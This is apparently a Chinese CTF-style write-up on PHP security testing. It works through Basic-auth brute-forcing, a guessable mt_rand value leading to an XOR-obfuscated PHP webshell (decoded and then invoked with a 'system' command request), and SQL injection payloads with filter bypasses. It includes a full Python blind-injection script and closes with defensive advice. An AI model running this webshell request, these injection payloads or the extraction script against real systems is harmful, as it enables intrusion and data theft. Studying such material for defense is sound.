平凡的信安专业应届生的寻职之旅
字数 1213 2025-08-23 18:31:24
PHP安全测试实战教学:从基础认证到伪随机数漏洞利用
1. Basic认证爆破实战
1.1 Basic认证机制分析
Basic认证是HTTP协议中最简单的认证方式,其认证头格式为:
Authorization: Basic base64(username:password)
1.2 爆破技巧
-
爆破策略:
- 先固定用户名爆破密码(如admin)
- 再固定密码爆破用户名(如123456)
-
工具使用:
- 使用Burp Suite的Intruder模块
- 构造Payload格式:
base64(username:password)
-
实战案例:
- 成功爆破出凭证:system/123456
2. PHP伪随机数漏洞分析与利用
2.1 mt_rand()函数的安全问题
$x = mt_rand(2012, 2022);
$y = mt_rand(1997, 2024);
$_____ = ($x * $y);
漏洞原理:
- 未使用
mt_srand()指定种子时,PHP会使用默认种子 - 相同种子产生的随机数序列是确定的
- 随机数范围有限时(2012-2022和1997-2024),组合可能性有限(319种)
2.2 漏洞利用方法
-
直接爆破法:
- 计算所有可能的乘积结果(2012×1997到2022×2024)
- 构造POST请求尝试所有可能的参数名
-
种子预测法(本案例未采用):
- 通过已知随机数反推种子值
- 需要大量计算资源
2.3 实际利用步骤
- 发现隐藏文件
au2c7ts62gs1ush13.php包含固定乘积值 - 构造Webshell请求:
POST /au2c7ts62gs1ush13.php?Nhhb=system HTTP/1.1 ... 4054162=ls - 注意参数编码问题(空格使用
+而非%20)
3. 混淆PHP代码分析技术
3.1 异或字符串混淆
$__ = ("`" ^ "?") . (":" ^ "}") . ("%" ^ "`") . ("{" ^ "/");
// 解码后为 "_GET"
3.2 动态变量执行
@${$__}[$____](@${$___}[$_____]);
// 等价于 @$_GET[Nhhb](@$_POST[4054162]);
3.3 分析技巧
- 本地搭建PHP环境执行echo打印变量值
- 逐步解析异或操作结果
- 识别最终形成的Webshell结构
4. SQL注入漏洞实战
4.1 登录框注入
-
万能密码绕过:
'or''=' -
过滤绕过技巧:
- 空格过滤:使用
/**/代替 - information_schema过滤:使用
mysql.innodb_index_stats替代
- 空格过滤:使用
4.2 盲注脚本编写
import requests
i = 0
flag = ""
host = "http://xxxxx/login.php"
while True:
head = 32
tail = 128
i += 1
while head < tail:
mid = (head + tail) // 2
payload = {
"name": "admin",
'password': "'or/**/if(ascii(substr((select/**/group_concat(table_name)/**/from/**/mysql.innodb_index_stats/**/limit/**/0,1),{0},1))>{1},1,0)#".format(i, mid),
"submit": "LOGIN"
}
res = requests.post(url=host, data=payload)
if "用户名或密码错误" in res.text:
tail = mid
else:
head = mid + 1
if head != 32:
flag += chr(head)
print(flag)
else:
break
4.3 注入技巧总结
- 基于错误的盲注判断
- 二分法加速数据提取
- 系统表替代方案
5. 安全测试方法论
-
认证机制测试:
- 检查默认凭证
- 测试爆破可能性
-
隐藏内容发现:
- 检查注释代码
- 查找未链接资源
-
输入验证测试:
- SQL注入测试
- 命令注入测试
-
随机数安全:
- 评估随机数范围
- 检查种子初始化
-
代码混淆分析:
- 动态执行解析
- 逐步解码技术
6. 防御建议
-
认证安全:
- 使用强密码策略
- 实施账户锁定机制
- 考虑多因素认证
-
随机数安全:
- 使用
random_int()而非mt_rand() - 确保足够的熵源
- 使用
-
SQL注入防御:
- 使用预处理语句
- 实施最小权限原则
- 过滤系统关键词
-
代码安全:
- 避免动态代码执行
- 禁用危险函数
- 实施代码混淆检测
-
错误处理:
- 禁用详细错误信息
- 使用统一错误页面
本教学文档涵盖了从基础认证爆破到高级漏洞利用的全过程,重点突出了PHP伪随机数漏洞这一关键技术点,并提供了完整的实战分析方法和防御建议。